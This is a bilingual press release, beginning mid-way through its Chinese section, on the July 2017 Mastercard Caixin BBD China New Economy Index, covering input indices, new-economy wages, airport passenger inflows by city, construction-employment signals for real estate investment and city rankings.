可以看到,净流入量增加最大的城市是北京、广州、重庆、成都和昆明,这些城市保持了对人口吸引力上升势头,也显示了较好的经济活力。在航班净流入量增加top10城市中,中西部地区的城市较多,中西部地区的经济活力逐渐增大。

重庆、成都维持了2016年以来的强势人口吸引力,成为西南地区的亮点;深圳和上海在航班净流入人口增加量上未能进入前十名。

在净流出量减少最多的城市中,哈尔滨、杭州、贵阳、厦门和海口的净流出量相对较大;哈尔滨航班净流出量减少最多,从侧面呈现出东北地区仍然缺少对人口的吸引力;三亚名列第四和第六,可能与这个旅游城市近一年来不断出现的负面消息有关。

六、从劳动力数据看投资复苏

本月,我们继续使用劳动力大数据对目前的投资进行分析,使用中国每月的房地产开发投资完成额当月值与劳动力数据建筑类就业人员的需求占比进行比较。可以看到,在2017年6月的建筑类就业相关人员预测仍然印证了我们的大数据指标准确性,6月的建筑类就业人员占比为7.9%,比5月的7.05%有所上升,同时6月的房地产投资完成额当月值为13015.3亿元,高于5月的9863.1亿元,环比上升至132%。

本月,建筑类劳动人员的需求继续上升,出现有史以来最高的8.49%,考虑到该大数据指标在过去大部分时间段的准确性,我们仍然预测下一个月的房地产投资数据会出现上升。

七、城市新经济排名

更多咨询敬请联络:

万事达卡

公共关系副总裁 吴焕宇

电话:+86-10-8519-9304

电邮:

财新智库

财新智库高级经济学家 王喆

电话:+86-10-85905019

电邮:

公关总监 马玲

电话:+86-10-8590-5204

电邮:

BBD(数联铭品)

BBD(数联铭品)首席经济学家 陈沁

电话:+86-28-65290823

电邮:

版权声明

万事达卡财新BBD中国新经济指数,是由财新智库(深圳)投资发展有限公司和成都数联铭品科技公司共同研发,与北京大学国家发展研究院合作,经过近一年努力,于2016年3月2日在北京首发的指数产品,此后每月2日上午10:00发布上月数据。

关于万事达卡

万事达卡(纽交所股票交易代码:MA),www.mastercard.cn,是全球性的支付与科技公司。通过运营全球最快的支付处理网络,万事达卡将超过210个国家和地区的消费者、金融机构、商户、政府和企业连接在一起。万事达卡的产品和解决方案使得每个人在购物、旅行、企业经营、财务管理等日常商业活动都变得更容易、更安全和更高效。敬请关注我们的“万事达卡”官方微信以及在新浪的官方微博@万事达人,以获悉动态并参与互动。也可访问万事达卡新闻中心或万事达卡互动中心获取更多资讯。

关于财新

财新传媒是提供财经新闻的全媒体集团,依托专业的团队和强大的原创新闻优势,以网站、移动端、期刊、视频、图书、会议等 多层次的业务平台,为中国最具影响力的受众群,提供准确、全面、深入的财经新闻产品。财新智库是财新传媒通过孵化另行建立的高端金融资讯服务平台,旨在通过发展金融数据业务,壮大宏观经济研究队伍,服务于智库业务客户。详细信息,敬请浏览 www.caixin.com。

关于BBD

BBD(数联铭品)是行业领先的大数据解决方案提供商,紧密围绕新经济,通过动态尽调、信用评级、风险定价和经济指数四个步骤,BBD提供从微观到宏观的大数据服务。详细信息,敬请浏览:http://www.bbdservice.com。

July 2017MasterCard Caixin BBD China New Economy Index

Overview

In July 2017, the Mastercard Caixin-BBD New Economy Index (NEI) reading came in at 31.5, indicating that the New Economy accounted for 31.5% of overall economic input activities that month, up 2.2 ppts from June and back to January to April average level (Chart 1). The rising NEI was due to the rebound of capital and technology. New economy is defined as following: 1) human capital intensive, technology intensive and capital light; 2) sustainable rapid growth, and 3) in line with the strategic new industries defined by the government. Please refer to our previous reports (March 2016 and March 2017) for the list of NEI sectors.

Primary Inputs

The NEI includes labor, capital and technology inputs that account for 40%, 35% and 25% of the total weight of the index, respectively. The rise in the July NEI reading came from the recovery of capital and technology inputs (Chart 2). Technology input index rose fastest, increasing to 31.6 from 25.1 in June. Capital investment showed wide fluctuations in the recent half year; it continued to rise to 32.7 after declining in April and May and rebounding in June. Labor input dropped slightly from June. It was 30.3 this month.

Percentage changes in labor, capital and technology inputs were -0.1, 0.7, and 1.6 ppts, respectively. After accounting for the sum of their weights, the net NEI change was a 2.2 ppts increase from June (Chart 3).

Looking at the sectors, the New IT industry formed the largest proportion of the New Economy Index, contributing 12.2 ppts to NEI. Advanced equipment manufacturing came second, the highest rank in half a year, contributing 4.0 ppts. Financial & Legal Services ranked the third, contributing 3.4 ppts in July (Chart 4).

New Economy Employment

In July 2017, the average monthly entry level salary of the New Economy was RMB 9,146 per month, increasing from last month’s level of RMB 8,975 (Chart 5). New Economy wage information is compiled from online websites of career platforms and recruitment services including 51job and Zhaopin, as well as other sites that list job demands.

Hiring in the New Economy sectors accounted for 29.2% of total hiring in July, lower than the previous month’s 29.5%. At the same time, the compensation share of New Economy sectors dropped slightly to 31.4%, which meant the average entry salary level of New Economy remained stable compared to national average entry wage level. The entry level salary premium of the New Economy was 7.6% as compared to economy-wide counterparts, a slight increase from 7.2% in June (Chart 6). In the recent half year, the average salary premium of the New Economy saw a decrease in Feb and Apr, respectively, while other months experienced a solid increase.

Decomposition of New Established Enterprises

We use newly-established enterprises data to monitor new enterprises in sub-sectors (Chart 7).

Ranking up sub-sectors (from July 2016 to July 2017) include the following. Real estate (No. 25 to No. 18, 80.5% increase in proportion), Construction (No. 19 to No. 16, 32.5% increase in proportion), Architectural Engineering (No. 24 to No. 20, 58.9% increase in proportion). The key words were associated with investment in construction, which were mainly drived by government. Moreover, some industries with light capital were developing. Education saw a ranking up to No. 13 from No. 18 with a proportional increase of 37.6 ppts. Management saw a ranking up to No. 3 from No. 4 with a proportional increase of 21.7 ppts. Information saw a ranking up to No. 11 from No. 13 with a proportional increase of 13.4 ppts.

Ranking down sub-sectors (from July 2016 to July 2017) include the following. Agriculture (No. 14 to No. 21, 13.3% decrease in proportion), E-commerce (No. 8 to No. 14, 27.9% decrease in proportion), Communication (No. 15 to No. 19, 0.5% decrease in proportion), Investment (No. 22 to No. 25, 18.8% increase in proportion), Media (No. 20 to No. 23, 13.5% increase in proportion), Service (No. 3 to No. 4, 11% increase in proportion). Noticeably, some ranking down sub-sectors saw an increase in proportions.

Economic Activities Based on Major Airport Traffic

This month, we explore airport traffic data and compare passengers inflow of major airport in 2Q17 and 2Q16.

We calculate the changes of daily net passengers inflow average by subtracting daily net passengers inflow average in 2Q16 from that in 2Q17. Based on this methodology, cities with the fastest increases in net inflows are Beijing, Guangzhou, Chongqing, Chengdu and Kunming, whose prosperous economy keeps attracting people (Chart 8). Among top 10 cities attracting more and more people are mid- and western Chinese cities, where we witnessed increased economic activities. Chengdu and Chongqing headlined the mid- and western cities but Shenzhen and Shanghai falled out of top list.

Cities with the fastest decreases in net inflows are Harbin, Hangzhou, Guiyang, Xiamen and Haikong. The lukewarm northeastern economy and negative news associated with tourist cities might contribute to the population outflows.

Recovery in Investment Based on Employment Data

We use monthly completed investment in real estate development and demand for construction employees to analyze the current state of investment (Chart 9). The demand for construction employees and completed investment in real estate development showed a similar trend. They diverged in April 2017 but synchronized afterwards. In June 2017, ratio of demand for construction employees reached 7.90%, a sharp increase by 0.85% from 6.75% in May. At the same time, completed investment in real estate development in June was RMB 1301.5 billion, an increase from RMB 986.3 billion in May, or a 32.0% MoM increase.

This month continues seeing an increase in demand for construction employees, reaching its historical highest level at 8.49%. Given the historical accuracy of the index, we still predict that real estate investment increases next month.

City Rankings of the New Economy

Based on overall New Economy rankings, the top twenty cities are shown in Chart 10. The top five cities are Shanghai, Beijing, Guangzhou, Hangzhou and Chongqing. Rankings are based on a weighted average of the percentile rank of indicators for the city in the past 6 months.

Chart 11 showed the average NEI city rankings between January 2017 and July 2017. The top five cities are Beijing, Shanghai, Guangzhou, Hangzhou and Shenzhen.

For further information please contact:

MasterCard

Mr. Wu Huanyu, Vice President of Public Relations

Tel:+86-10-8519-9304

Email:

Caixin Insight Group

Dr. Wang Zhe, Senior Economist

Tel:+86-10-85905019

Emails:

Ma Ling, Public Relations

Tel:+86-10-8590-5204

Email:

BBD

Dr. Chen Qin, Chief Economist

Tel:+86-28-65290823

Emails:

The MasterCard Caixin BBD China New Economy Index is the fruit of a research partnership between Caixin Insight Group and BBD, in collaboration with the National Development School, Peking University. The subject of a year of research, the NEI was first publically released on March 2, 2016 and will be issued the 2nd of every month at 10:00am China Standard Time.

About Caixin

Caixin Media is China's leading media group dedicated to providing financial and business news through periodicals, online content, mobile applications, conferences, books and TV/video programs. Caixin Media aims to blaze a trail that helps traditional media prosper in the new media age through integrated multimedia platforms. Caixin Insight Group is a high-end financial data and analysis platform. For more information, please visit www.caixin.com.

About MasterCard

MasterCard (NYSE: MA), www.mastercard.com, is a technology company in the global payments industry. We operate the world’s fastest payments processing network, connecting consumers, financial institutions, merchants, governments and businesses in more than 210 countries and territories. MasterCard’s products and solutions make everyday commerce activities – such as shopping, traveling, running a business and managing finances – easier, more secure and more efficient for everyone. Follow us on Twitter @MasterCardAP and @MasterCardNews, join the discussion on the Beyond the Transaction Blog and subscribe for the latest news on the Engagement Bureau.

https://www.xusbuy.net

上一篇:举牌股票(举牌验收制度)

下一篇:媒体价值导向(媒体价值指数)

相关推荐

返回顶部